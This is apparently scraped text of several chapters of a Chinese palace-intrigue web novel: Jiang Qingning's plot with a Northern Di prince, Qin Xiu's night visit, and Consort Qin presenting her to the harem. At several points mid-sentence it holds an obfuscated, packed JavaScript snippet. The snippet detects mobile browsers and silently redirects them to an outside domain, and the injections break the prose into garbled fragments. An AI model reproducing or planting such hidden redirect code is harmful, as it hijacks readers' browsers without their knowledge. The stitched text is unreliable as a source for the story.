“只是本宫近来听闻,江南云泽之地似乎颇有些不安分的传闻,不知荀大人身为副都御使,督察百官,可曾有所耳闻?” 荀臣的后背瞬间沁出一层冷汗。 长公主怎么会突然提及云泽? 她知道了什么?是试探,还是……? 他强自镇定,脸上露出恰到好处的疑惑与慎重:“回殿下,江南道监察御史的奏报,近来并无提及云泽有重大异动。” “不知殿下所闻是何等传闻,臣定当详查。” 陆彤深深地看了他一眼,没有回答他的问题,抬手拂过旁边的牡丹花瓣: “传闻终究是传闻,就像这牡丹,开得再艳,根须若烂了,终究是空中楼阁,风一吹也就散了。” “荀大人,你说是也不是?” 她抬起眼,凤眸直视荀臣,里面是一片深不见底的幽潭,“本宫倒是觉得,有些根埋得深些,反而能等到春暖花开之时。” 荀臣的心跳如擂鼓。 长公主这番话,是在暗示废太子一脉未绝,还是在警告他? 他顺着话头,模棱两可地应道:“殿下高见,根深方能叶茂,只是时移世易,前朝旧根若想在这新土中存活开花,只怕难如登天。” 陆彤闻言,眼中骤然闪过一丝锐利的光芒,随即又被悲凉的笑意取代。 她不再看荀臣,目光投向远处喧嚣的宫宴,声音轻得如同叹息,却清晰地送入荀臣耳中: “是啊,难如登天,可天也有变的时候,荀大人你说对吗?” 她顿了顿,仿佛自言自语,“本宫在这深宫,看了一辈子花开花落,有些花看着是败了,可那花籽指不定就落在哪个意想不到的角落,只待一场春雨呢?” 说完,她不再停留,扶着身旁宫婢的手仪态万方地转身离去。 留下荀臣一人僵立在原地,浑身冰冷,心中却翻涌起惊涛骇浪。 长公主陆彤她绝非无意提及,她这是在向他抛出橄榄枝?还是在设下致命的陷阱? 他看着长公主消失在灯火阑珊处的背影,又想起姜清宁冰冷漠然的眼神,一股寒意与一股难以言喻感交织在一起,让他浑身微微颤抖。 这盘棋局,似乎比他想象的,更加凶险,也更加诱人。 宁阁。 书房,夜已深沉。 烛火跳跃,将伏案疾书的身影投在素白墙壁上,拉得细长而孤峭。 姜清宁眉目凝肃,指尖蘸着朱砂,在一卷绘有北狄舆图的羊皮卷上落下最后一笔。 窗外晚风呜咽,卷起庭院落叶的簌簌声,掩盖不住书房内凝重的气息。 暗一、暗二、暗三……她精心培养三年的暗卫首领,如同最忠诚的影子,垂手肃立在她面前等待指令。 “此信,三日内必须送达北狄左贤王阿史那图真手中。” 姜清宁将一封用北狄王庭秘语写就,封着火漆的信笺递给暗一。 烛光映着她清冷的侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100896|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,眸底深处是燃烧的冰焰。 “告诉他,他所求的内应已准备就绪,大乾皇帝沉溺丹药,朝纲混乱,边防空虚,正是他挥师南下一雪前耻的绝佳时机。” “是!”暗一接过信笺。 “暗二,”姜清宁目光转向另一人,“你即刻南下,联络云泽水寨卫斋,告诉他长公主陆彤这条线已由荀臣搭上,但此人心思难测需加倍谨慎。” “他蛰伏多年,复起的机会就在眼前,待北狄狼烟四起,京城震动,便是他趁乱打出废太子旗号收拢旧部的最佳时机,让他务必在三个月内积蓄足够力量,兵锋直指京城。” “是!” “暗三,”她的目光最后落定,“你负责接应岭南,传讯给父亲和兄长,岭南军务,即刻秘密交接给副将陈铎,而他们则是即刻整装,以述职之名启程回京!” “路线、接应,我会另派专人安排,务必隐秘迅速!” “是!” 一墙之隔,秦国公府,书房内,灯火同样未熄。 秦休负手立于窗前,身形挺拔如松,目光却穿透沉沉夜色,落在隔壁的墙上。 他闭着眼,眉宇间凝着一层化不开的忧色与无奈。 “主子,”青冥悄无声息地出现在他身后,“姜小姐身边暗卫调动频繁,恐怕要有大动作。” 秦休缓缓睁开眼,深邃的眸子只有一片沉沉的暗色。 他太了解她了。 沉寂只是风暴的前奏,她所有的隐忍,都在为那最终的一击蓄力,而此刻这力恐怕已蓄到了极致。 “传信过去。” 秦休的声音低沉沙哑,带着一丝不易察觉的疲惫,“告诉她,京城非岭南,天子脚下耳目众多,欲速则不达,莫要冲动行事。” 青冥领命而去。 片刻后,他带回的消息让秦休的眉头锁得更紧。 “主子……信被原封不动退了回来。” 青冥尴尬道:“紫苏姑娘说姜小姐正在处理要事,无暇理会无关琐事。” “无关琐事……” 秦休低声重复着这四个字,唇角勾起一抹苦涩的弧度。 第167章探书房 在姜清宁的心中,难不成他连求知都不配了? 秦休心口隐隐作痛,却深知她一旦决定,九头牛也拉不回。 秦休转身对青冥道:“守住院子,任何人不得靠近书房。” 话音未落,他抬步走出书房,身影消失在院内。 烛火猛地摇曳一下。 姜清宁眼神骤然一厉,手指在书案下的凸起处毫不犹豫按。 “谁?” 声音刚响起,三枚细针快速从书架缝隙中射出。 阴影中传来一声极轻的闷哼。 一道身影飞快避开三枚**,针尖擦着他玄色锦袍的袖口掠过,钉入后方的墙壁,发出三声轻响。 烛光照亮了来人的面容。 秦休站在阴影处,眉目深邃,站在原地,玄色的袖口处赫然被划开一道细微的口子。 “秦大人好兴致。” 姜清宁缓缓站起身,目光扫过他袖口的破损,唇角勾起一丝讥诮的弧度。 “堂堂秦国公世子,正二品刑部尚书,太子少傅,深夜擅闯女子闺阁书房,这行径倒与市井采花贼颇有几分神似。” “秦大人连我这最后的清静之地,也容不得了吗?” 她字字如刀,带着淬毒的寒意,狠狠扎向秦休。 秦休看着眼前这张清冷绝艳,却写满疏离与敌意的脸,心中被这嘲讽浇得透心凉。 他深吸一口气,压下翻涌的心绪,目光沉静地迎上她:“你明知道我不是,若真是,此刻也不会站在这里与你说话。” 他向前一步,烛光在他脸上投下明暗交织的阴影。 “我为何而来,你心知肚明,宁阁暗卫频繁调动,你真当这京城可以随心所欲,你究竟在谋划什么?” 秦休声音低沉,带着不容抗拒的意味。 姜清宁袖中的手指瞬间攥紧,面上毫不显露:“秦大人耳目果然灵通,怎么,大人是要来替皇帝兴师问罪了?” “兴师问罪?” 秦休向前一步,拉近了两人之间的距离,目光灼灼,带着坦诚,“你明知我不是……为何要把我推开?” “我若真想阻止你,今夜来的就不会是我一人,更不会站在这里,问你一句为什么,我只想知道你究竟要做什么。” “如此不惜一切,甚至引狼**,你可知北狄铁骑若真南下,边关多少百姓会流离失所,生灵涂炭?” “那卫斋不过是个被野心家利用的傀儡,一旦事成,卫斋第一个清算的就是这些冲锋陷阵的有功之臣,为了让家人回来,你要做到如此地步吗?” “姜清宁,为什么不愿意再等等我,我……我说过会帮你,便不会半途而废。” 秦休眼中满是痛惜和忧虑,欲言又止说出的话,更带着几分自我讥讽的意味。 许久,姜清宁缓缓开口,声音清冷中多了几分肃杀:“秦休,在你眼中,我姜清宁便是那般不顾苍生,为达目的不择手段的疯子?” 她站起身,走到书案前,拿起那张描绘着北狄舆图的羊皮卷,指尖用力点在标注着王庭的位置上,声音斩钉截铁: “我要的,从来不是引狼**,更不是让北狄铁蹄踏破我大乾河山。” 她目光转向秦休,冷静道:“我要的是一场足以震动朝野,让京城上下风声鹤唳的狼烟。” “佯攻?” 秦休心中猛地一松。 “我已与北狄左贤王阿史那图真达成密约,他出兵十万陈兵于京城西北百里外,做出全力攻城之势,但只围不攻制造出京城危在旦夕的假象。” 她指尖划过舆图,落回京城: “与此同时,我早已通过秘密渠道,将京城布防的弱点和皇帝沉迷丹药、朝堂空虚的情报,泄露给阿史那图真,他信以为真,以为这是千载难逢的机会,必会全力配合这场佯攻,内外夹击。” “届时皇帝和满朝文武必然被北狄大军吸引,所有力量都将调往西北方向防御。” “而第二步,就是我需要你在指挥防御时,意外遭遇北狄精锐刺杀重伤昏迷,生死不知。” “你这位国之柱石一旦倒下,朝中能统兵御敌的将才还有谁,贺宁是战功赫赫的镇北王世子,便是皇帝唯一,也是不得不用的选择,他必被紧急任命为统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“北狄佯攻之事,我会暗中配合,确保其声势足够浩大,绝不真正威胁边民。” 秦休的声音放得极低,带着一种近乎恳求的沙哑,目光沉沉地锁住她。 “此事凶险,步步杀机,我秦休愿为你手中之刃,为你铺平前路,扫清障碍。” “只求你莫要再瞒我,至少别让我靠猜测和夜探,才能知道你下一步要踏向何方。” 第168章入宫 烛火在姜清宁眼中跳跃,映着秦休那双翻涌着千言万语的眼眸。 那句话如同投入心湖的石子,激起圈圈涟漪,一种酸涩的微颤自心尖蔓延开。 她看着他伸到半途又因克制而僵硬收回的手,喉间竟有些发哽。 “……好。” 她听见自己的声音,比想象中更轻,却带着尘埃落定的承诺,“不再瞒你。” 秦休眼底深处那沉郁的暗色,似乎被这简短的承诺拂开了一丝光亮。 他深深地看着她,仿佛要将这一刻她的模样刻入骨髓,最终只是用尽所有自制力,低低地叮嘱:“夜深了,好生歇息。” 说罢,不再停留,转身融入窗外浓重的夜色,书房内只留下他身上若有似无的清冷松香气息。 脚步声消失之后,书房的门被轻轻推开。 紫苏端着安神汤,和姜清晞一同走了进来。 姜清晞目光扫过姐姐略显苍白的脸和桌上摊开的北狄舆图,小脸上满是跃跃欲试:“阿姐,他走了?下一步我们做什么?” 姜清宁闭了闭眼,将心头那丝不合时宜的微澜压下。 再睁眼时,眸底已是一片深不见底的幽暗寒潭,只剩下毕露芒与掌控棋局的决绝。 “下一步,” 她的指尖重重点在羊皮卷上标注着京城的位置,声音冷冽如冰,“该让这宫墙之内,也热闹起来了。” 秦国公府,书房。 秦休并未歇息。 他坐在书案后,提笔蘸墨,手腕沉稳,字迹却透着一股凌厉。 墨迹未干,他唤来青之:“明日卯时三刻,将此信交予西华门当值的黄公公,他知道该给谁。” “是。”青之接过信笺,神色凝重地退下。 翌日,金銮殿。 朝会在陆禀亢奋的仙丹妙论中结束。 秦休随着下朝的人流步出宫门,面容冷峻,目不斜视。 无人注意,西华门附近,一个看似寻常洒扫的老太监,袖中悄然滑过一枚蜡丸,精准地落入一名垂首疾行的小太监手中。 蜡丸几经转手,最终出现在掌事宫女春莺的掌心。 春莺屏退左右,恭敬地将蜡丸呈给倚在贵妃榻上,指尖正漫不经心拨弄着一串极品东珠的秦贵妃。 秦玉容慵懒地展开信纸,一目十行。 雍容华贵的脸上先是掠过一丝复杂的心疼,随即化作一声几不可闻的轻叹:“痴儿……当真是个痴儿……” 她将信递给侍立在一旁,面容沉静却眼神锐利的少年。 陆雍接过信,迅速看完,少年老成的脸上没有任何波澜,眼底深处是一闪而逝的算计。 他起身对着母亲恭敬行礼,声音平稳得听不出一丝情绪:“母妃,此事交给儿臣去办,定不负母妃与舅舅期望。” 秦贵妃看着眼前这个不过十三四岁,心思却深沉得让她这个母亲都时常感到心惊的儿子,恍惚了一瞬。 她挥了挥手,声音带着一丝不易察觉的疲惫:“去吧,务必干净利落。” “儿臣遵命。” 陆雍再次行礼,转身离去,步伐沉稳,背影却透着一股与年龄不符的决绝杀伐之气。 殿内只剩下秦贵妃和心腹钱嬷嬷。 良久,秦贵妃才幽幽开口,带着一丝自嘲和茫然:“嬷嬷,你说雍儿他像不像他父皇,这份绝情……” 钱嬷嬷心头一跳,连忙垂下头,不敢接这诛心之言,只低声道:“娘娘多虑了,四殿下只是心思重了些,也是为了娘娘和国公府的将来着想。” 秦玉容扯了扯嘴角,那笑容却未达眼底。 她扶着钱嬷嬷的手站起身,目光扫过镜中依旧美艳却难掩倦意的容颜:“更衣,本宫……亲自去给陛下送一份大礼。” 养心殿内,龙涎香混合着丹药的甜香,熏得人昏昏欲睡。 陆禀靠在软榻上,面色红润得不自然,眼神却有些涣散,正听着一个仙风道骨的道士,唾沫横飞地讲解着新炼制的九转金丹之妙处。 “陛下,贵妃娘娘求见。”内侍通传。 陆禀精神似乎一振:“快宣!” 秦贵妃袅袅娜娜地走进来,身后跟着一位垂首敛目,身姿窈窕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可不是嘛,咱们秦姐姐出身高贵又深明大义,知道陛下日理万丹,怕陛下劳神,自然要寻些新鲜解语花来替陛下分忧,只是这江美人……听说连着七日承恩雨露,这身子骨,可还受得住?” 她话里话外直指江美人狐媚惑主,更暗讽秦贵妃年老色衰,只能靠献媚固宠。 下首坐着的低阶嫔妃们个个噤若寒蝉,低着头,恨不得把自己缩进地缝里,生怕被两位高位娘娘当枪使。 殿内的气氛正僵持着,太监再次通传:“虞美人、江美人到!” 众人的目光瞬间聚焦在门口。 只见一身鹅黄宫装,容貌明艳的虞美人款步而入,她出身平江侯府,眉宇间自带一股傲气。 而她身后半步,跟着的正是新晋得宠,一身粉嫩宫装娇怯动人的江美人。 两人一出现,立刻成了全场的焦点,也成了淑妃、贤妃眼中活生生的靶子。 “呵,虞妹妹这腿脚倒是快。” 淑妃冷笑一声,目光在虞美人和江美人之间扫视,“这么快就搭上新贵了?看来平江侯府的家教就是识时务啊。” 虞美人柳眉一竖,毫不示弱地回敬:“淑妃娘娘说笑了,妹妹不过是瞧着江妹妹初来乍到,人生地不熟,带她来给贵妃娘娘请个安,尽尽心意罢了。” “倒是娘娘您,火气这般大,莫不是昨夜没睡好?还是陛下又去了哪位新鲜妹妹那里?”她故意把新鲜二字咬得极重,直戳淑妃痛处。 “你!”淑妃气得脸色发青。 贤妃在一旁凉凉地补刀:“虞妹妹这张嘴啊,还是这般伶俐,不过这宫里的路光靠嘴皮子可走不稳,有些人啊以为攀上了高枝儿,就忘了自己几斤几两了。” 眼看一场唇枪舌剑就要升级,屏风后传来环佩叮当的轻响。 姜清宁站在屏风后,将殿内的明枪暗箭尽收眼底,心中却是疑惑与不安。 秦贵妃为何要宣她入宫? 又为何让她看到这后宫倾轧的一幕? 一双温热的手轻轻覆上她微凉的手背。 姜清宁抬眸,对上秦贵妃含着安抚笑意的凤眸。 “不必担心。” 秦贵妃的声音压得极低,只有两人能听见,“本宫那傻弟弟,所求不过是你平安顺遂,能在这盘棋局里,多一层护身的筹码。” 她拿起最后一支赤金点翠凤凰步摇,稳稳簪入高耸的发髻,镜中的人瞬间华光四射,威仪天成。 “至于筹码是什么……”她站起身,扶着钱嬷嬷的手,唇角勾起一抹深意,“随本宫出去,你就知道了。” 秦贵妃拍了拍姜清宁的手背,力道带着不容置疑的安抚,转身仪态万方地走向屏风出口,声音恢复了惯常的雍容:“好了,妹妹们都到了,倒是本宫怠慢了。” 随着秦贵妃的身影出现在正殿,方才还剑拔**张的气氛瞬间凝滞。 淑妃、贤妃脸上的讥讽迅速收敛,换上了恭敬得体的笑容,连同虞美人、江美人和一众低阶嫔妃,纷纷起身垂首敛目,动作整齐划一地屈膝行礼,声音汇成一片柔顺的洪流: “臣妾/嫔妾参见贵妃娘娘,娘娘万福金安!” 殿内鸦雀无声。 所有人的目光,都或明或暗地聚焦在秦贵妃身后,那个随着她一同出现、一身素雅宫装却难掩清冷风华的女子身上。 姜清宁站在那里,如同喧嚣浊流中一株遗世独立的青莲,瞬间成为这修罗场中最引人瞩目的存在。 秦贵妃容含笑抬手:“都起来吧。” 她的目光缓缓扫过众人,最终落在姜清宁身上,带着显而易见的亲昵与看重,声音清晰地传遍整个大殿: “这位便是镇北王世子贺宁的未婚妻,姜家的大小姐姜清宁,陛下万寿节那日诸位妹妹想必都见过了,今日宣她入宫,是本宫瞧着这孩子温婉知礼心中喜欢,特召来陪本宫说说话。” 她轻轻拉过姜清宁的手,将她带到众人视线中心。 “姜家……”贤妃低喃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113623|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,眼中闪过一丝精光。 淑妃更是目光灼灼。 秦贵妃将众人的反应尽收眼底,唇角的笑意更深,带着一种掌控全局的从容。 她握着姜清宁的手微微用力,声音不高,却足以让每个人都听清: “清宁这孩子,父兄虽远在岭南为国戍边,但忠勇之心天地可鉴,陛下亦是时常念及姜将军父子劳苦功高,如今她即将嫁入王府,本宫想着这京城里总该有更多长辈疼惜着才是。” 淑妃和贤妃心中同时冷笑。 秦贵妃这是在明晃晃地为姜清宁张目,更是要借她们这些长辈的势,将姜清宁推到一个更高的位置。 而这位置背后代表的,是姜家父子那可能回归的兵权,是与镇北王府联姻带来的滔**势。 秦贵妃的目光扫过淑妃和贤妃,带着一丝不容置疑的意味:“诸位妹妹说,是不是这个理?” 姜清宁站在秦贵妃身侧,感受着四面八方投射来的灼热目光,心中豁然开朗,却又瞬间沉入冰冷的深渊。 她明白了。 秦贵妃今日的宣召,为的不是别的,正是要借这后宫无数双眼睛和背后的势力,将她背后的姜家父兄,彻底变成这盘棋局上最显眼的筹码。 谁能在皇帝面前为姜家父子说上话,谁能将他们从岭南解救出来,谁就是姜家的恩人,谁就能顺势搭上镇北王府。 秦贵妃是在用整个后宫做局,逼着所有觊觎这份力量的人下场角逐,将水彻底搅浑。 一股寒意从脚底直窜头顶。 她看着淑妃贤妃眼中闪烁的贪婪与算计,虞美人、江美人等人复杂的神色。 姜清宁深吸一口气,压下翻涌的心绪,抬眸迎向那些或明或暗的视线。 对着满殿宫妃行礼,声音清晰地回荡在寂静的大殿中: “臣女姜清宁承蒙贵妃娘娘厚爱,愧不敢当,父兄戍守边陲,乃臣子本分,不敢言功,清宁蒲柳之姿得蒙天恩许嫁王府已是惶恐,今日得见诸位娘娘金面实乃清宁之幸。” 第170章怎么了 她顿了顿,仪态温婉,目光缓缓扫过众人,最终落回秦贵妃身上,唇角勾起一抹温柔的弧度: “清宁深知自身微末,唯此婚约尚算几分筹码,若能为父兄归途略尽绵薄,为陛下分忧,便是粉身碎骨亦在所不惜。” 殿内瞬间寂静下来。 淑妃、贤妃等人脸上的笑容僵住了,眼中闪过一丝震惊。 姜清宁竟然是直接的把自己归类为筹码,难不成当真是被逼到无路可走了? 秦贵妃握着她的手几不可察地一颤,看向她的目光充满激赏与心疼。 姜清宁挺直了脊背,如同风雪中傲然独立的青松。 她不是不清楚这句话讲出来后的含义。 但既然避无可避,那便让所有人都看清楚,这枚筹码的价值,以及拿起它所需付出的代价。 这棋局,她姜清宁,落子了。 淑妃笑容僵硬,想到家中侄女先后两个夫婿,都被姜清宁抢走,顿时火冒三丈。 “好一个伶牙俐齿的姜家女,你倒是颇有自知之明,只是这筹码的分量,也得看握在谁的手里。” “贵妃抬举你是娘娘心善,可你也莫要真把自己当盘菜,区区一个二嫁之身,仗着几分姿色攀上了镇北王府,就敢在这宫里大放厥词,当这后宫无人了不成?!” 她的话尖酸刻薄,甚至将战火引向一直作壁上观的虞美人和江美人: “还有你们,一个侯府女,一个靠献媚上位的玩意儿,也配在这里与本宫平起平坐,虞氏,你方才不是挺能说的吗?怎么这会儿哑巴了?还是说真以为攀上了某棵大树,就能一步登天了?” 贤妃依旧端着温婉的架子,只是声音也冷了下来: “淑妃姐姐息怒,何必与一个小辈置气,没得失了身份,姜姑娘,本宫念你年轻气盛口不择言,不与你计较你的自大。” “只是这后宫之地最忌妄言,这话传到陛下耳中,怕是要引来滔天大祸,你父兄远在岭南,你更该谨言慎行,莫要因一时意气连累了家人前程。” 虞美人被淑妃点名,气得俏脸通红,胸脯起伏,正要反唇相讥,却被姜清宁一个平静的眼神制止。 她看着姜清宁那双深不见底的眼,不知为何,心中翻腾的怒火竟奇异地平息了几分,只余下浓浓的不忿。 江美人身为被推上风口浪尖的人儿,哪里经历过这等阵仗? 被淑妃当众斥为玩意儿,又被贤妃言语里的威胁吓得魂飞魄散,此刻小脸惨白如纸,身体控制不住地微微颤抖,眼眶瞬间就红了,泪珠在眼底打转,求助般地看向上首的秦贵妃。 “够了!” 秦玉容缓缓站起身,凤眸含威,目光如同实质般扫过淑妃和贤妃,所过之处,连空气都仿佛冻结了。 “本宫还坐在这里,在这后宫之中,何时轮到旁人来替本宫教训本宫的客人了?” 她的声音冰冷,带着不容置疑的权威,“淑妃,你身为四妃之首,言辞刻薄如市井泼妇,对着本宫请来的客人恶语相向,你的规矩体统呢?” “贤妃,你句句劝解字字提醒,可本宫听着,怎么倒像是在拿姜将军父子的前程安危,来威吓一个小姑娘?” “怎么,岭南戍边八载的忠臣良将,在贤妃妹妹眼里,倒成了可以随意拿捏,用以胁迫其女眷的把柄了?” 她每说一句,淑妃和贤妃的脸色就难看一分。 秦贵妃的目光最后落在瑟瑟发抖的江美人身上,声音放缓了些,却依旧带着上位者的审视: “江美人,抬起头来,陛下喜欢你是你的福分,记住你的本分是安心侍奉陛下,莫要被那些闲言碎语乱了心神。至于旁人说什么玩意儿……” 她冷冷地瞥了一眼脸色铁青的淑妃,“否则,今日本宫倒要看看,谁敢再对陛下亲封的美人,口出如此不敬之言。” 淑妃和贤妃被堵得哑口无言,脸色难看至极,却再不敢轻易开口,低阶嫔妃们更是把头埋得更低。 秦贵妃这才重新看向姜清宁,脸上恢复了些许温和,眼神深处依旧带着深意: “清宁,你也看到了,这宫里啊风言风语总是难免的,你只需记住本宫宣你入宫,是真心喜欢你这孩子,想与你说说话,至于其他……” 她目光意有所指地扫过全场,“自有本宫为你做主,今日你也乏了,早些出宫歇息吧,改日得空再来陪本宫说话。” “臣女谢贵妃娘娘回护之恩。” 姜清宁屈膝行礼,姿态恭谨,声音平静。 秦贵妃今日的目的已经达到。 她这枚筹码已被高高挂起,后宫各方势力都已看清。 她不再看殿内神色各异的众人,在无数道复杂目光的注视下,脊背挺直,步履沉稳地转身,随着引路宫女向宫外走去。 宫门外,阳光带着几分暖意洒落。 姜清宁微微眯起眼,适应着外界的光线,也试图驱散方才殿内带来的阴冷和窒息感。 “清宁。”一道清朗的声音传来。 姜清宁抬眼,只见贺宁一身绯色麒麟朝服,身姿挺拔地站在不远处。 他显然是刚下朝,特意等在这里。 阳光落在他俊朗的脸上,带着爽朗的笑容,眼神明亮,驱散了几分她心头的阴霾。 “贺世子。”姜清宁微微颔首,走了过去。 “宫里可还顺利?” 贺宁与她并肩而行,刻意放慢了脚步,声音压低,带着关切。 “今日秦贵妃那里的阵仗,恐怕不会小了,淑妃和贤妃那两个没为难你吧?” 姜清宁轻轻摇头,语气平淡无波:“不过是些口舌之争,贵妃娘娘在场,她们还翻不起浪。” 贺宁闻言,松了口气,随即又皱起眉头,语气带着一丝冷意和了然: “秦贵妃今日特意宣你,又当着后宫众人的面如此抬举……是想把你彻底推出来,让所有人都盯着你背后那块肥肉了?” “嗯。”姜清宁没有否认。 她侧头看向贺宁,“世子对此,似乎并不意外?” 贺宁坦然一笑,眼神锐利:“意料之中。” “秦休沉寂月余,突然重获圣眷,又在这当口让他姐姐把你推至风口浪尖,若说没有图谋,谁信?” “他这是要把水彻底搅浑,让所有觊觎姜家力量的人都浮出水面互相撕咬,他秦家才好浑水摸鱼,坐收渔翁之利。” 他顿了顿,看向姜清宁的目光带着一丝深意,“清宁,秦休此人心思深沉如海,他对你或许有几分真心,但在家族利益面前,这份真心能占几分,你切莫被他迷惑成了他手中的棋子。” 姜清宁的脚步微不可察地顿了一下。 贺宁的话,如同冰锥一般狠狠扎进了她的心口。 但贺宁的话没错,秦贵妃今日之举何尝不是秦休不再隐瞒之后,对她进行的另一种形式的利用? 将她置于众目睽睽之下,成为各方争夺的焦点,不仅将她放到明面上不易被世人猜忌,又能对秦休暗中出手有所帮助。 她心中一片冰凉,面上却不显,只是淡淡道:“世子提醒的是,清宁心中有数。” 贺宁敏锐地察觉到了她的疏离,识趣地不再多言。 两人沉默地走了一段,上了马车,转过一个街角,一阵诱人的甜香扑鼻而来。 街边,百味斋的幌子在风中招展,门口排着长队。 “对了,”贺宁像是想起什么,脸上重新挂上爽朗的笑容,招呼人停了马车,几步走到百味斋的柜台前,“差点忘了,听说这家新出的栗子酥和桂花糖蒸新栗粉糕极好,清宁你带回去尝尝,也给小妹也带些。” 他动作利落走入人群之中,开口地指挥掌柜的包了好几大包精致的点心盒子,而后在窃窃私语的人群中,不由分说地塞到姜清宁身后的紫苏手里。 姜清宁看着他忙碌的背影,看着他递过来点心时自然爽朗的笑容,心中那点因秦休而起的冰冷和戒备,竟奇异地松动了一丝。 贺宁的关心,或许带着联姻的考量,但至少是摆在明面上的。 “多谢世子。”她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123409|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着贺宁的眼睛,认真地看了片刻,才示意紫苏接过。 贺宁被她看得有些不好意思,挠了挠头,笑道:“跟我还客气什么,我们快回去吧,我看你也累了。” 回到宁阁,那股甜腻的糕点香气随着走动弥漫开来。 姜清宁刚踏入庭院,一道红色的身影便如乳燕投林般从廊下跃出,带着清脆的笑声扑到她面前。 “阿姐,你可算回来了!” 姜清晞一身火红的劲装,额上还带着薄汗,显然是刚练完功。 她小脸明媚,眼神亮晶晶的,带着十五岁少女特有的活力与英气。 此刻的她像只小猎犬般,鼻子用力嗅了嗅,目光瞬间锁定紫苏手里捧着的点心盒子,惊喜道:“呀,百味斋的点心!是栗子酥和桂花糕吗?阿姐你真好!” 她伸手就要去拿,却被姜清宁轻轻拍开:“先去净手,都是你的,急什么。” 看着妹妹灿烂无邪的笑容,听着她叽叽喳喳的声音,姜清宁心中那沉甸甸的阴霾,此时似乎被驱散了不少。 姜清晞吐了吐舌头,乖乖跑去洗手。 很快又跑回来,迫不及待地打开盒子,拿起一块栗子酥满足地咬了一大口,含糊不清地问:“阿姐,宫里好玩吗?贵妃娘娘找你做什么呀?是不是有人欺负你了?” 她看似随意,那双酷似姜清宁的明亮锐利的眼眸,却一眨不眨地观察着姐姐的神色。 姜清宁拿起一块桂花糕,轻轻嗅着清甜的香气,看着妹妹无忧无虑的吃相,眼神渐渐变得幽深复杂。 “清晞,”姜清宁的声音很轻,带着一丝不易察觉的疲惫和深思,“如果阿姐告诉你,有人想帮你,却可能在不经意间,把你推到更危险的境地……你会怎么选?” 姜清晞咀嚼的动作顿住了。 她抬起头,嘴边还沾着一点栗子酥的碎屑,那双清澈的大眼睛里,属于少女的天真烂漫迅速褪去,取而代之的是一种与年龄不符的锐利和洞悉。 她没有立刻回答,只是定定地看着姐姐,仿佛在分辨她话语里每一个细微的情绪。 片刻后,她放下手中的点心,拿起帕子慢条斯理地擦了擦嘴,动作带着一种习武之人的利落。 然后,她站起身走到姜清宁面前,微微仰起脸,那双明亮的眼睛直视着姐姐,声音清晰而冷静: “阿姐,我不是小孩子了,在岭南,阿爹和阿兄教我的第一课就是,这世上没有无缘无故的好。” “帮,可能是真心的,也可能是裹着蜜糖的刀子。” “推到危险境地……或许是因为那人觉得,只有足够危险的地方,才有他想要的东西,或者……他觉得你有能力应对那危险?” 她歪了歪头,眼神像只机敏的小豹子:“阿姐,你是在说……秦家那位世子吗?” 姜清宁微不可查的一顿,没想到姜清晞这么快就反应过来了。 姜清晞看到她的表情,顿时明白自己猜对了,叹了口气坐在姜清宁的身边,握住她的手安慰道: “阿姐,其实我们更希望你幸福,只要你能够开心,父亲母亲和兄长都会开心的。” 姜清晞的话点到为止,没有再继续说下去。 姜清宁心情顿时复杂难辨,眼前闪过的是秦休一次次关心的眼眸,可想到快十年未见,终日思念的家人,她竟然能够生生的把这份松动修补好。 “阿姐没事,你放心吧,阿姐不会让自己不开心的。”姜清宁拍了拍她的手,看着欲言又止的姜清晞,抬手把一块糕点塞到她的嘴里。 “阿姐!你…又…耍来!”姜清晞嘴巴鼓鼓囊囊的,艰难的捂着嘴道。 她最喜欢吃点心,不舍得把糕点掉下来。 “快吃吧你,这可是贺世子亲自去百味斋买的,竟然都符合你的口味,果然是年纪小的能玩到一起去。” 姜清宁嘴角的笑容刚浮现,脑海中浮现一个念头,弧度竟是直接僵在了那里。 “阿姐,你这是怎么了?”姜清晞看着没有继续说下去的话,不解询问。 第171章矿山 姜清宁细细回味,蓦然惊觉,贺宁似乎总是在不经意间,为清晞挑选的糕点要多上几分,这不经意间的偏爱,让人不容忽视。 